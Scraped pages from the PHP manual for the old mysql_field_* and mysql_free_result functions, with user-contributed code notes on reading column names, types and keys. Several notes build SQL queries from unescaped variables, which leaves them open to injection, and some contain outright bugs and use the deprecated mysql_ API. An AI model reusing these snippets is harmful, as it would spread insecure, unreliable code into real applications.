pike-php at kw dot nl 14-Jul-2005 04:55
ok, sorry for the code bloat :) but this is how I
get the full power of mysql's DESCRIBE table statement, in
an associative array, including defaults, enum values, float radix et all.

it assumes mysql returns the type as
   "type[(arg[,arg..])] [ add]"
like
   "float(20,6) unsigned"
   "enum('yes','no')"
etc

<?

function getFields($tablename) {

        $fields = array();
        $fullmatch         = "/^([^(]+)(\([^)]+\))?(\s(.+))?$/";
        $charlistmatch     = "/,?'([^']*)'/";
        $numlistmatch     = "/,?(\d+)/";

        $fieldsquery .= "DESCRIBE $tablename";
        $result_fieldsquery = mysql_query($fieldsquery) or die(mysql_error());
        while ($row_fieldsquery = mysql_fetch_assoc($result_fieldsquery)) {

            $name     = $row_fieldsquery['Field'];
            $fields[$name] = array();
            $fields[$name]["type"]         = "";
            $fields[$name]["args"]         = array();
            $fields[$name]["add"]          = "";
            $fields[$name]["null"]        = $row_fieldsquery['Null'];
            $fields[$name]["key"]        = $row_fieldsquery['Key'];
            $fields[$name]["default"]    = $row_fieldsquery['Default'];
            $fields[$name]["extra"]        = $row_fieldsquery['Extra'];

            $fulltype     = $row_fieldsquery['Type'];
            $typeregs = array();

            if (preg_match($fullmatch, $fulltype, $typeregs)) {
                $fields[$name]["type"] = $typeregs[1];
                if ($typeregs[4]) $fields[$name]["add"] = $typeregs[4];
                $fullargs = $typeregs[2];
                $argsreg = array();
                if (preg_match_all($charlistmatch, $fullargs, $argsreg)) {
                    $fields[$name]["args"] = $argsreg[1];
                } else {
                    $argsreg = array();
                    if (preg_match_all($numlistmatch, $fullargs, $argsreg)) {
                        $fields[$name]["args"] = $argsreg[1];
                    } else die("cant parse type args: $fullargs");
                }
            } else die("cant parse type: $fulltype");

        }
        return $fields;

    }

?>
buttrose at unimelb dot edu dot au 20-Oct-2004 07:26
This function is essential for writing a generic table editor (ie one that just takes the name of the table and works out what fields it has, types, sizes etc.). Unfortunately, I am using psotgreSQL not mySql. Postgres has field_type and field_size functions  but not as far as I can tell an equivalent of the mysql_field_flags() function. Without it, there is no way I can do generic ADDs and INSERTs.

Anyone know a workaround to get this information (eg is the field a primary key? Can it be NULL? Is it auto_increment?) in Postgres?

Cheers

Rob Buttrose
amir at scrounch dot com 17-Aug-2003 10:39
returns primary keys of a table using 'show keys'
although it is possible to use desc, show keys offers possible enhancements such a getting sequence in index along with it

function getPrimaryKeyOf($table, $link) {
  $pk = Array();

  $sql = 'SHOW KEYS FROM `'.$table.'`';
  $res = mysql_query($table, $link) or die(mysql_error());
  while ($row = mysql_fetch_assoc($res)) {
    if ($row['Key_name']=='PRIMARY')
      array_push($pk, $row['Column_name']);
  }
  return $pk;
}
simone dot t at betisgroup dot com 10-Apr-2003 04:20
Another examples :

####################################

function field_keys($host, $user, $password, $database, $field ) {
   $db_link = mysql_connect($host, $user, $password) or die ("error connect");
   mysql_select_db($database,$db_link);
   $query="DESC $field";
   $results=mysql_query($query);
   $i=0;
   while ($row=mysql_fetch_array($results)) {
         if ($row[Key]=="PRI") {
            $array_keys[$i]=$row[Field];
         }
         $i++;
  }
   return $array_keys;
}

####################################

//Example of Main...
$tmp = field_keys("localhost", "myuser", "mypassword", "mydb", "field_name" );

// ...loop through array...
foreach ( $tmp as $array_tmp){
    print "<br>";
    print $array_tmp;
    print "<br>";
}
justin DOT flavin AT ntlworld DOT com 06-Dec-2002 10:36
Sometimes, when writing a generic function or class, you want your script to be able to determine what the primary key of a table is.
/* usual MySQL stuff */
$query="DESC UsersTable";
$results=mysql_query($query);

while ($row=mysql_fetch_array($results))
{
if ($row[Type]="PRI")
    {
print "I found the primary key! <br>";
$UserKey=$row[Field];
print $row[Field];
/* drop out , as we've found the key */
exit;
    }
}

..... later on we might have something like

< some sort of loop through records >

print "<a href='View_User_record.php?userkey=$UserKey'> Users Name </a>";

<end loop>

What's also interesting is the useful data you can get from
a DESC query.

The following prints out the array values grabbed by mysql_fetch_array on a DESC query - VERY useful stuff!!!

/* usual MySQL stuff */
$query="DESC UsersTable";
$results=mysql_query($query);

while ($row=mysql_fetch_array($results))
{
print "<pre>";
print_r ($row);
print "</pre>";
}
jakemsr at jakemsr dot com 31-Oct-2002 12:32
I didn't find anything to get the valid values for
ENUM or SET column types, so I came up with the
following

function mysql_enum_values($table, $field)
{
    $sql = "SHOW COLUMNS FROM $table LIKE '$field'";
    $sql_res = mysql_query($sql)
        or die("Could not query:\n$sql");
    $row = mysql_fetch_assoc($sql_res);
    mysql_free_result($sql_res);
    return(explode("','",
        preg_replace("/.*\('(.*)'\)/", "\\1",
            $row["Type"])));
}
cufarley at nirvanet dot net 11-Jul-2001 05:36
Using the "DESC TableName" command may also do the trick and is a bit shorter.
jurgen at alienguitar dot com 10-Jun-2001 04:50
The previous problem to get the default values of a column:
Use the following query and parse the 'Default' column:

"SHOW COLUMNS FROM TableName"

or for a single entry:

"SHOW COLUMNS FROM TableName LIKE 'column'"

It will give you also values for Type,  Null, Key and Extra (check with mysql program first, so you see what you get ;-)
mysql_fetch_row
mysql_field_len
MySQL Functions


Returns the length of the specified field

mysql_field_flags
mysql_field_name
MySQL Functions
PHP Manual

mysql_field_len

(PHP 4, PHP 5)

mysql_field_len — Returns the length of the specified field

Description

int mysql_field_len ( resource $result , int $field_offset )

mysql_field_len() returns the length of the specified field.

Parameters

result

The result resource that is being evaluated. This result comes from a call to mysql_query().

field_offset

The numerical field offset. The field_offset starts at 0. If field_offset does not exist, an error of level E_WARNING is also issued.

Return Values

The length of the specified field index on success or FALSE on failure.

Examples

Example #1 mysql_field_len() example

<?php
$result = mysql_query("SELECT id,email FROM people WHERE id = '42'");
if (!$result) {
    echo 'Could not run query: ' . mysql_error();
    exit;
}

// Will get the length of the id field as specified in the database
// schema.
$length = mysql_field_len($result, 0);
echo $length;
?>

Notes

Note:

For backward compatibility, the following deprecated alias may be used: mysql_fieldlen()

See Also

  • mysql_fetch_lengths() - Get the length of each output in a result
  • strlen() - Get string length

User Contributed Notes

adam_nospam_hunger at yahoo dot com 30-Oct-2003 05:04
For a mysql type DECIMAL(8,4), the length is returned as 10 (M+2 as per documentation).
mysql_field_flags
mysql_field_name
MySQL Functions


Get the name of the specified field in a result

mysql_field_len
mysql_field_seek
MySQL Functions
PHP Manual

mysql_field_name

(PHP 4, PHP 5)

mysql_field_name — Get the name of the specified field in a result

Description

string mysql_field_name ( resource $result , int $field_offset )

mysql_field_name() returns the name of the specified field index.

Parameters

result

The result resource that is being evaluated. This result comes from a call to mysql_query().

field_offset

The numerical field offset. The field_offset starts at 0. If field_offset does not exist, an error of level E_WARNING is also issued.

Return Values

The name of the specified field index on success or FALSE on failure.

Examples

Example #1 mysql_field_name() example

<?php
/* The users table consists of three fields:
 *   user_id
 *   username
 *   password.
 */
$link = mysql_connect('localhost', 'mysql_user', 'mysql_password');
if (!$link) {
    die('Could not connect to MySQL server: ' . mysql_error());
}
$dbname = 'mydb';
$db_selected = mysql_select_db($dbname, $link);
if (!$db_selected) {
    die("Could not set $dbname: " . mysql_error());
}
$res = mysql_query('select * from users', $link);

echo mysql_field_name($res, 0) . "\n";
echo mysql_field_name($res, 2);
?>

The above example will output:

user_id
password

Notes

Note: Field names returned by this function are case-sensitive.

Note:

For backward compatibility, the following deprecated alias may be used: mysql_fieldname()

See Also

  • mysql_field_type() - Get the type of the specified field in a result
  • mysql_field_len() - Returns the length of the specified field

User Contributed Notes

tiptonentserv at gmail dot com 13-Aug-2011 05:56
simple sql to xml converter works with any sql query and returns the name of the table as the root element "row" as each row element and the names of the columns are your children of row. fully tested.

<?php
function sqlToXml($host,$user,$pass,$database,$tablename,$query){

    $link   = mysql_connect($host, $user, $pass) or die("Could not connect: " . mysql_error());
    $db     = mysql_select_db($database, $link) or die(mysql_error());

    $result = mysql_query($query);
    if(!$result){ die('Invalid query: '.mysql_error()); }

    $numOfCols = mysql_num_fields($result);
    $numOfRows = mysql_num_rows($result);

    $info = mysql_fetch_assoc($result);

    //send headers
    header('Content-type: text/xml');
    header('Pragma: public');
    header('Cache-control: private');
    header('Expires: -1');
    $xml = '<?xml version="1.0" encoding="utf-8"?>';
    $xml.= "<{$tablename}>";

    if($numOfRows > 0){
        do {
            $xml.= "<row>";
            foreach($info as $column => $value) {
                $xml.= "<{$column}>{$value}</{$column}>";
            }
            $xml.= "</row>";
        }
        while ($info = mysql_fetch_array($result));
    }
    $xml.= "</{$tablename}>";

    mysql_free_result($result);
    return $xml;

}
?>
bags 24-Jul-2010 03:02
When using aliases, it appears impossible to discover the name of the underlying column.
select `ID` as `anAlias` from `aTable` returns 'anAlias' as the mysql_field_name(). I have tried all the mysql_field_xxx() functions and none return the real column name.
anonymous at site dot com 09-Mar-2008 06:13
This function is slightly stupid to be honest, why not just make an array of field names... You could consolidate the two of these functions that way and it makes it a lot easier to list them when your script is dynamic.

<?php

    function mysql_field_array( $query ) {

        $field = mysql_num_fields( $query );

        for ( $i = 0; $i < $field; $i++ ) {

            $names[] = mysql_field_name( $query, $i );

        }

        return $names;

    }

    // Examples of use

    $fields = mysql_field_array( $query );

    // Show name of column 3

    echo $fields[3];

    // Show them all

    echo implode( ', ', $fields[3] );

     // Count them - easy equivelant to 'mysql_num_fields'

    echo count( $fields );

?>
blackjackdevel at gmail dot com 13-Nov-2007 04:13
Strangely using an aproach like this:
$res=mysql_query("SELECT * FROM `orders`",$conec) or die (mysql_error());

$fields = mysql_num_fields($res);
$out="";
for ($i = 0; $i < $fields; $i++) {
    $fname=mysql_field_name($res, $i);

}

 Outputted the E_Warning:
Warning: mysql_field_name() [function.mysql-field-name]: Field N is invalid for MySQL result index

 With a lot of different number at N. But expliciting all fields instead of *. Didn't outputted the error.

 It maybe a caracteristic of this mysql database(it is from a open source application) because i never saw this in my own databases. Anyway hope this help if someone face the same strange situation
matteo.cisilino[no_more]cisilino[spm]com 09-Jan-2007 08:54
james, why make so difficult when it's very simple :\

$numberfields = mysql_num_fields($res_gb);

   for ($i=0; $i<$numberfields ; $i++ ) {
       $var = mysql_field_name($res_gb, $i);
       $row_title .= $var;
   }

echo $row_title;
janezr at jcn dot si 19-Oct-2005 07:18
This is another variant of displaying all columns of a query result, but with a simplified while loop.

<?
$query="select * from user";
$result=mysql_query($query);
$numfields = mysql_num_fields($result);

echo "<table>\n<tr>";

for ($i=0; $i < $numfields; $i++) // Header
{ echo '<th>'.mysql_field_name($result, $i).'</th>'; }

echo "</tr>\n";

while ($row = mysql_fetch_row($result)) // Data
{ echo '<tr><td>'.implode($row,'</td><td>')."</td></tr>\n"; }

echo "</table>\n"
?>
clinnenb at hotmail dot com 05-Aug-2005 08:19
The following will create a PHP array, $array, containing the MySQL query results with array indexes of the same name as field names returned by the MySQL query.

while ($line = mysql_fetch_array($result, MYSQL_ASSOC)) {
    $i=0;
    foreach ($line as $col_value) {
        $field=mysql_field_name($result,$i);
        $array[$field] = $col_value;
        $i++;
    }
}
jimharris at blueyonder dot co dot uk 20-Dec-2004 06:28
The code in the last comment has an obvious mistake in the for loop expression.  The correct expression in the for-loop is $x<$y rather than $x<=$y...

$result = mysql_query($sql,$conn) or die(mysql_error());
$rowcount=mysql_num_rows($result);
$y=mysql_num_fields($result);
for ($x=0; $x<$y; $x++) {
   echo = mysql_field_name($result, $x).'<br>';
}
colin dot truran at shiftf7 dot com 17-Dec-2004 04:44
T simply itterate through all the field names on a result set try using this.

$result = mysql_query($sql,$conn) or die(mysql_error());
$rowcount=mysql_num_rows($result);
$y=mysql_num_fields($result);
for ($x=0; $x<=$y; $x++) {
    echo = mysql_field_name($result, $x).'<br>';
}

This is useful if you have a result set that joins several tables dynamicaly and you are never sure what all the fields will be when you come to display them.

I suggest you place this within a loop through your result rows and include a field flag check  around the echo to only show certain data types like this.

$y=mysql_num_fields($result);
while ($row=mysql_fetch_array($result)) {
  for ($x=0; $x<=$y; $x++) {
    $fieldname=mysql_field_name($result,$x);
    $fieldtype=mysql_field_type($result, $x);
    if ($fieldtype=='string' && $row[$fieldname]!='')
       echo $row[$fieldname].' , ';
   }
   echo '<br>';
}
aaronp123 att yahoo dott comm 21-Feb-2003 06:27
You could probably elaborate on this by sending a full sql query to this function...but I titled it simple_query() because it doesn't really allow for joins.  Never the less, if you want to get a quick array full of a single row result set this is painless:

function simple_query($table_name, $key_col, $key_val) {
    // open the db
    $db_link = my_sql_link();
    // query table using key col/val
    $db_rs = mysql_query("SELECT * FROM $table_name WHERE $key_col = $key_val", $db_link);
    $num_fields = mysql_num_fields($db_rs);
    if ($num_fields) {
        // first (and only) row
        $row = mysql_fetch_assoc($db_rs);
        // load up array
        for ($i = 0; $i < $num_fields; $i++) {
            $simple_q[mysql_field_name($db_rs, $i)] = $row[mysql_field_name($db_rs, $i)];
        }
        // and return
        return $simple_q;
    } else {
        // no rows
        return false;
    }
    mysql_free_result($db_rs);
}

**Please note that my_sql_link() is just a function I have to open up a my sql connection.**
jason dot chambes at phishie dot net 20-Feb-2003 06:07
<?
/*
    By simply calling the searchtable() function
    with these variables it will serach the desired
    database and procude a table for each field that
    there is a match.
*/

function searchtable($host,$user,$pass,$database,$tablename,$userquery)
{
    $link   = mysql_connect($host, $user, $pass) or die("Could not connect: " . mysql_error());
    $db     = mysql_select_db($database, $link) or die(mysql_error());
    $fields = mysql_list_fields($database, $tablename, $link);
    $cols   = mysql_num_fields($fields);

    for ($i = 1; $i < $cols; $i++) {
        $allfields[] = mysql_field_name($fields, $i);
    }
    foreach ($allfields as $myfield) {
        $result = mysql_query("SELECT * FROM $tablename WHERE $myfield like '%$userquery%' ");
        if (mysql_num_rows($result) > 0){
            echo "<h3>search <i>$database</i> for <i>$userquery</i>, found match(es) in <i>$myfield</i>: </h3>\n";
            echo "<table border=1 align=\"center\">\n\t<tr>\n";
            for ($i = 1; $i < $cols; $i++) {
                echo "\t\t<th";
                if ($myfield == mysql_field_name($fields, $i)){
                    echo " bgcolor=\"orange\"> ";
                } else {
                    echo ">";
                }
                echo mysql_field_name($fields, $i) . "</th>\n";
            }
            echo "\t</tr>\n";
            $myrow = mysql_fetch_array($result);
            do {
                echo "\t<tr>\n";
                for ($i = 1; $i < $cols; $i++){
                    echo "\t\t<td> $myrow[$i] &nbsp;</td>\n";
                }
                echo "\t</tr>\n";
            } while ($myrow = mysql_fetch_array($result));
            echo "</table>\n";
        }
    }
}

searchtable($host,$user,$pass,$database,$tablename,$userquery);
?>
matt at iwdt dot net 23-Sep-2001 06:09
here's one way to print out a row of <th> tags from a table
NOTE: i didn't test this

$result = mysql_query("select * from table");

for ($i = 0; $i < mysql_num_fields($result); $i++) {
    print "<th>".mysql_field_name($result, $i)."</th>\n";
}

post a comment if there's an error
mysql_field_len
mysql_field_seek
MySQL Functions


Set result pointer to a specified field offset

mysql_field_name
mysql_field_table
MySQL Functions
PHP Manual

mysql_field_seek

(PHP 4, PHP 5)

mysql_field_seek — Set result pointer to a specified field offset

Description

bool mysql_field_seek ( resource $result , int $field_offset )

Seeks to the specified field offset. If the next call to mysql_fetch_field() doesn't include a field offset, the field offset specified in mysql_field_seek() will be returned.

Parameters

result

The result resource that is being evaluated. This result comes from a call to mysql_query().

field_offset

The numerical field offset. The field_offset starts at 0. If field_offset does not exist, an error of level E_WARNING is also issued.

Return Values

Returns TRUE on success or FALSE on failure.

See Also

  • mysql_fetch_field() - Get column information from a result and return as an object

User Contributed Notes

adrien dot gibrat at gmail dot com 04-Oct-2008 01:12
Not dumb at all!!

It means that "mysql_field_seek" and "mysql_data_seek" are moving the same cursor... through the rows and columns of the result resource.

Also means that the cursor goes to a new row when it reach a final field(aka column), by exemple while looping with "mysql_fetch_field".

Calling "mysql_fetch_object", "mysql_fetch_array", "mysql_fetch_assoc"
and "mysql_fetch_row" seems to place the cursor at the end of the line.

So calling "mysql_fetch_field" without a field index, just after that, will return false.
chris at igwsolutions dot com 25-Apr-2008 03:23
I spent a good deal of time trying to get the example to work, but the example does not work.
To do what the exaple is trying to do, you would need to use mysql_data_seek

assume we have table named testing which contains
id      name
1       Hassan
2       Jack
3       Rose
---------------

Here is an expample that will do the above example.

Since I am more comfortable in a OOP setting, I used mysql_fetch_object

<?php
    require("myConnenctionFile.php");

    $sql="SELECT  * from testing";
    $result=mysql_query($sql);

    $row = mysql_fetch_object($result);
    echo $row->id . ' ' . $row->name; // Output is (1      Hassan)
    mysql_data_seek($result,2);
    $row = mysql_fetch_object($result);
    echo $row->id . ' ' . $row->name; // Output is (3      Rose)
    echo "<BR><BR>";
?>
Hassan Kazem 10-Jan-2008 10:34
an example of this function
assume we have table1 which contains
ID      Name
1       Hassan
2       Jack
3       Rose
---------------
<?php
mysql_connect("sql.server.com", "username", "password") or die(mysql_error());
mysql_select_db("database") or die(mysql_error());
$sql="SELECT  * from table1";
$result=mysql_query($sql);
$row = mysql_fetch_array($result);
echo $row['ID'] . ' ' . $row['Name']; // Output is (1      Hassan)
mysql_field_seek($result,2);
echo $row['ID'] . ' ' . $row['Name']; // Output is (3      Rose)
?>
---------------
// You can see that the seek command forwarded the pointer one step and skipped row number 2
poulpillusion at free dot fr 17-Apr-2007 07:44
A dumb comment... but it may save people some time :
mysql_field_seek != mysql_data_seek

In order to fetch again the results of a resource result from the beginning, you will use mysql_data_seek(id, 0)
mysql_field_name
mysql_field_table
MySQL Functions


Get name of the table the specified field is in

mysql_field_seek
mysql_field_type
MySQL Functions
PHP Manual

mysql_field_table

(PHP 4, PHP 5)

mysql_field_table — Get name of the table the specified field is in

Description

string mysql_field_table ( resource $result , int $field_offset )

Returns the name of the table that the specified field is in.

Parameters

result

The result resource that is being evaluated. This result comes from a call to mysql_query().

field_offset

The numerical field offset. The field_offset starts at 0. If field_offset does not exist, an error of level E_WARNING is also issued.

Return Values

The name of the table on success.

Examples

Example #1 A mysql_field_table() example

<?php

$query = "SELECT account.*, country.* FROM account, country WHERE country.name = 'Portugal' AND account.country_id = country.id";

// get the result from the DB
$result = mysql_query($query);

// Lists the table name and then the field name
for ($i = 0; $i < mysql_num_fields($result); ++$i) {
    $table = mysql_field_table($result, $i);
    $field = mysql_field_name($result, $i);

    echo  "$table: $field\n";
}

?>

Notes

Note:

For backward compatibility, the following deprecated alias may be used: mysql_fieldtable()

See Also

  • mysql_list_tables() - List tables in a MySQL database

User Contributed Notes

mehdi dot haresi at gmail dot com 17-Jul-2009 02:50
For all of you having problems accessing duplicated field names in queries with their table alias i have implemented the following quick solution:

<?php
function mysql_fetch_alias_array($result)
{
    if (!($row = mysql_fetch_array($result)))
    {
        return null;
    }

    $assoc = Array();
    $rowCount = mysql_num_fields($result);

    for ($idx = 0; $idx < $rowCount; $idx++)
    {
        $table = mysql_field_table($result, $idx);
        $field = mysql_field_name($result, $idx);
        $assoc["$table.$field"] = $row[$idx];
    }

    return $assoc;
}
?>

Lets asume we have 2 tables student and contact each having fID as the index field and want to access both fID fields in php.

The usage of this function will be pretty similar to calling mysql_fetch_array:

<?php
$result = mysql_query("select * from student s inner join contact c on c.fID = s.frContactID");

while ($row = mysql_fetch_alias_array($result))
{
    echo "StudenID: {$row['s.fID']}, ContactID: {$row['c.fID']}";
}
?>

Voila, that's it :)

Please be aware that by using this function, you have to access all fields with their alias name (e.g. s.Name, s.Birhtday) even if they are not duplicated.

If you have questions, just send me a mail.

Best regards,
Mehdi Haresi
die-webdesigner.at
jorge at rhst dot net 29-Jul-2007 02:57
The function below takes a function and returns the col->table mapping as an array.

For example:

$query = “SELECT a.id AS a_id, b.id b_id FROM atable AS a, btable b”

$cols  = queryAlias($query);

print_r($cols);

Returns:

Array
(
    [a] => atable
    [b] => btable
)

I can't promise it's perfect, but this function never hit production cause I ended up using mysqli methods instead.

Enjoy
-Jorge

  /**
   * Takes in a query and returns the alias->table mapping.
   *
   * @param string $query
   * @return array of alias mapping
   */

  function queryAlias ( $query ) {

    //Make it all lower, we ignore case
    $substr = strtolower($query);

    //Remove any subselects
    $substr = preg_replace ( ‘/\(.*\)/’, ”, $substr);

    //Remove any special charactors
    $substr = preg_replace ( ‘/[^a-zA-Z0-9_,]/’, ‘ ‘, $substr);

    //Remove any white space
    $substr = preg_replace(‘/\s\s+/’, ‘ ‘, $substr);

    //Get everything after FROM
    $substr = strtolower(substr($substr, strpos(strtolower($substr),‘ from ‘) + 6));

    //Rid of any extra commands
    $substr = preg_replace(
                Array(
                    ‘/ where .*+$/’,
                    ‘/ group by .*+$/’,
                    ‘/ limit .*+$/’ ,
                    ‘/ having .*+$/’ ,
                    ‘/ order by .*+$/’,
                    ‘/ into .*+$/’
                   ), ”, $substr);

    //Remove any JOIN modifiers
    $substr = preg_replace(
                Array(
                    ‘/ left /’,
                    ‘/ right /’,
                    ‘/ inner /’,
                    ‘/ cross /’,
                    ‘/ outer /’,
                    ‘/ natural /’,
                    ‘/ as /’
                   ), ‘ ‘, $substr);

    //Replace JOIN statements with commas
    $substr = preg_replace(Array(‘/ join /’, ‘/ straight_join /’), ‘,’, $substr);

    $out_array = Array();

    //Split by FROM statements
    $st_array = split (‘,’, $substr);

    foreach ($st_array as $col) {

      $col = preg_replace(Array(‘/ on .*+/’), ”, $col);

      $tmp_array = split(‘ ‘, trim($col));

      //Oh no, something is wrong, let’s just continue
      if (!isset($tmp_array[0]))
        continue;

      $first = $tmp_array[0];

      //If the “AS” is set, lets include that, if not, well, guess this table isn’t aliased.
      if (isset($tmp_array[1]))
        $second = $tmp_array[1];
        else
        $second = $first;

      if (strlen($first))
       $out_array[$second] = $first;

    }

    return $out_array;
  }
spam at blondella dot de 03-Oct-2006 04:09
<?php
/*
this function might help in the case described above :-)
*/
function mysql_field_table_resolve_alias($inQuery,$inResult,$inFieldName) {
   $theNameOrAlias = mysql_field_table($inResult,$inFieldName);
   //check, if AS syntax is being used
   if(ereg(" AS ",$inQuery))  {
      //catch words in query
      $theWords = explode(" ",ereg_replace(",|\n"," ",$inQuery));
      //find the words preceding and following AS
      foreach($theWords as $theIndex => $theWord)  {
         if(trim($theWord) == "AS"
         && isset($theWords[$theIndex-1])
         && isset($theWords[$theIndex+1])
         && $theWords[$theIndex+1] == $theNameOrAlias
         ) {
            $theNameOrAlias = $theWords[$theIndex-1];
            break 1;
         }
      }
   }
   return $theNameOrAlias;
}
?>
me at thomaskeller dot biz 23-Nov-2005 01:15
Beware that if you upgrade to MySQL 5 from any earlier version WITHOUT dumping and reloading your data (just by keeping the binary data in MyISAM table files), you might get weird output on the "table" value for mysql_fetch_field and in this function. Weird means that the table name is randomly set or not.

This behaviour seems to popup only if the SQL query contains a ORDER BY clause. A bug is already reported:

http://bugs.mysql.com/bug.php?id=14915

To prevent the issue, dump and reload all participating tables in your query or do

CREATE TABLE tmp SELECT * FROM table;
DROP TABLE table;
ALTER TABLE tmp RENAME table;

on each one via commandline client.
cptnemo 14-Aug-2004 07:18
When trying to find table names for a (My)SQL query containing 'tablename AS alias', mysql_field_table() only returns the alias as specified in the AS clause, and not the tablename.
mysql_field_seek
mysql_field_type
MySQL Functions


Get the type of the specified field in a result

mysql_field_table
mysql_free_result
MySQL Functions
PHP Manual

mysql_field_type

(PHP 4, PHP 5)

mysql_field_type — Get the type of the specified field in a result

Description

string mysql_field_type ( resource $result , int $field_offset )

mysql_field_type() is similar to the mysql_field_name() function. The arguments are identical, but the field type is returned instead.

Parameters

result

The result resource that is being evaluated. This result comes from a call to mysql_query().

field_offset

The numerical field offset. The field_offset starts at 0. If field_offset does not exist, an error of level E_WARNING is also issued.

Return Values

The returned field type will be one of "int", "real", "string", "blob", and others as detailed in the » MySQL documentation.

Examples

Example #1 mysql_field_type() example

<?php
mysql_connect("localhost", "mysql_username", "mysql_password");
mysql_select_db("mysql");
$result = mysql_query("SELECT * FROM func");
$fields = mysql_num_fields($result);
$rows   = mysql_num_rows($result);
$table  = mysql_field_table($result, 0);
echo "Your '" . $table . "' table has " . $fields . " fields and " . $rows . " record(s)\n";
echo "The table has the following fields:\n";
for ($i=0; $i < $fields; $i++) {
    $type  = mysql_field_type($result, $i);
    $name  = mysql_field_name($result, $i);
    $len   = mysql_field_len($result, $i);
    $flags = mysql_field_flags($result, $i);
    echo $type . " " . $name . " " . $len . " " . $flags . "\n";
}
mysql_free_result($result);
mysql_close();
?>

The above example will output something similar to:

Your 'func' table has 4 fields and 1 record(s)
The table has the following fields:
string name 64 not_null primary_key binary
int ret 1 not_null
string dl 128 not_null
string type 9 not_null enum

Notes

Note:

For backward compatibility, the following deprecated alias may be used: mysql_fieldtype()

See Also

  • mysql_field_name() - Get the name of the specified field in a result
  • mysql_field_len() - Returns the length of the specified field

User Contributed Notes

fred at dinkler dot com 08-Feb-2007 11:52
In MySQL 4.1.x, the four TEXT types (TINYTEXT, TEXT, MEDIUMTEXT, and LONGTEXT) return 'blob" as field types, not "string".
c dot futterlieb at bluewin dot ch 10-Dec-2006 06:06
Additional to the note below:
If you're using the "SHOW FIELDS" syntax, be sure that you're adding the table name instead of the db name in the "FROM" parameter:

<?php
$result = mysql_query("SHOW FIELDS FROM table");
?>

Also possible:

<?php
$result = mysql_query("SHOW FIELDS FROM table.db");
?>

or this:

<?php
$result = mysql_query("DESCRIBE table");
?>
http://dev.mysql.com/doc/refman/5.1/en/describe.html
fusionstream at gmail dot com 17-Sep-2006 09:19
krang at krang dot org dot uk
Condensed version of what KRANG said.

To get info on the MYSQL field type, use this code

<?
$result = mysql_query("SHOW FIELDS FROM db_name");

$i = 1;
while ($row = mysql_fetch_array($result)) { //go through one field at a time
  echo "Field $i: ";
  print_r($row) //display all information about A field which can be accessed thru the "$row" array.
  $i++;
}
?>

Will display something like:
Field 1: Array ( [Field] => SN [Type] => mediumint(8) unsigned [Null] => [Key] => PRI [Default] => [Extra] => auto_increment ) , SN, mediumint(8) unsigned
Field 2: Array ( [Field] => ENTITY_ID [Type] => varchar(20) [Null] => [Key] => [Default] => [Extra] => ) , ENTITY_ID, varchar(20)
18-Feb-2006 11:52
This function is broken in 4.4.1 (works fine in 4.3.X).
http://bugs.php.net/35536
harald at weinreichs dot de 06-Jun-2005 10:02
The note blow seems incomplete/incorrect. For php 4.3 and mysql 4.x the returned values are:

CHAR, VARCHAR, TINYTEXT, TEXT, MEDIUMTEXT, LONGTEXT, ENUM, SET: string
TINYINT, SMALLINT, MEDIUMINT, INT, INTEGER, BIGINT: int
FLOAT, DOUBLE, DECIMAL, NUMERIC: real
TIMESTAMP: timestamp
YEAR: year
DATE: date
TIME: time
DATETIME: datetime
TINYBLOB, MEDIUMBLOB, LONGBLOB, BLOB: blob

if mysql-field-type seems to return the wrong values, you may encounter an compatibility problem of mysql, php and the libraries you use. Try reinstalling php and mysql.
mariob at menta dot net 07-Nov-2003 12:21
For version 4.3.4, types returned are:

STRING, VAR_STRING: string
TINY, SHORT, LONG, LONGLONG, INT24: int
FLOAT, DOUBLE, DECIMAL: real
TIMESTAMP: timestamp
YEAR: year
DATE: date
TIME: time
DATETIME: datetime
TINY_BLOB, MEDIUM_BLOB, LONG_BLOB, BLOB: blob
NULL: null
Any other: unknown
swalif_mesa at hotmail dot com 09-Jul-2003 10:38
Hmm for the previous comment, note that SHOW FIELDS is an alias of SHOW COLUMNS. Very useful if you need to search the mysql-documentation. Here is the link anyway...
http://www.mysql.com/doc/en/SHOW_DATABASE_INFO.html
krang at krang dot org dot uk 10-Mar-2002 06:13
The field type returns what PHP classifies the data found in the field, not how it is stored in the database; use the following example to retrieve the MySQL information about the field....

$USERNAME = '';
$PASSWORD = '';

$DATABASE = '';
$TABLE_NAME = '';

mysql_connect('localhost', $USERNAME, $PASSWORD)
    or die ("Could not connect");

$result = mysql_query("SHOW FIELDS FROM $DATABASE.$TABLE_NAME");

$i = 0;

while ($row = mysql_fetch_array($result)) {
  echo $row['Field'] . ' ' . $row['Type'];
}
mysql_field_table
mysql_free_result
MySQL Functions


Free result memory

mysql_field_type
mysql_get_client_info
MySQL Functions
PHP Manual

mysql_free_result

(PHP 4, PHP 5)

mysql_free_result — Free result memory

Description

bool mysql_free_result ( resource $result )

mysql_free_result() will free all memory associated with the result identifier result.

mysql_free_result() only needs to be called if you are concerned about how much memory is being used for queries that return large result sets. All associated result memory is automatically freed at the end of the script's execution.

Parameters

result

The result resource that is being evaluated. This result comes from a call to mysql_query().

Return Values

Returns TRUE on success or FALSE on failure.

If a non-resource is used for the result, an error of level E_WARNING will be emitted. It's worth noting that mysql_query() only returns a resource for SELECT, SHOW, EXPLAIN, and DESCRIBE queries.

Examples

Example #1 A mysql_free_result() example

<?php
$result = mysql_query("SELECT id,email FROM people WHERE id = '42'");
if (!$result) {
    echo 'Could not run query: ' . mysql_error();
    exit;
}
/* Use the result, assuming we're done with it afterwards */
$row = mysql_fetch_assoc($result);

/* Now we free up the result and continue on with our script */
mysql_free_result($result);

echo $row['id'];
echo $row['email'];
?>

Notes

Note:

For backward compatibility, the following deprecated alias may be used: mysql_freeresult()

See Also

  • mysql_query() - Send a MySQL query
  • is_resource() - Finds whether a variable is a resource

User Contributed Notes

webmaster at bluesting dot co dot za 16-Mar-2011 04:44
mysql_query() also returns a resource for "OPTIMIZE TABLE" statements!
webmaster at wforums dot net 16-Jun-2008 01:02
I agree with Joachim Kruyswijk (posted on 14-Jun-2005 11:42). I just did the test on my beta version of my new site (who needs to get dynamically news and user login from a database) and i use 1000kb less memory when i do not use mysql_free_result. I guess it is because the data it needs to load are not that large (for news: date, short description and for the user login: username, password). It may only be in the user control panel that it will be more, but since that isn't developed totally yet, i'll have to test :p
admin at ifyouwantblood dot de 18-Mar-2008 12:47
yes this function may increase the memory usage if you use unbuffered querys and if you have not fetched all the data from mysql. in this case the mysql api has a problem: you want to free the result but do not want to close the connection. now mysql will only accept another query if all data has been fetched, so the api now must fetch the rest of the data when calling mysql_free_result().

so only use unbuffered querys if you fetch all the data (and need it).
21-Nov-2006 02:53
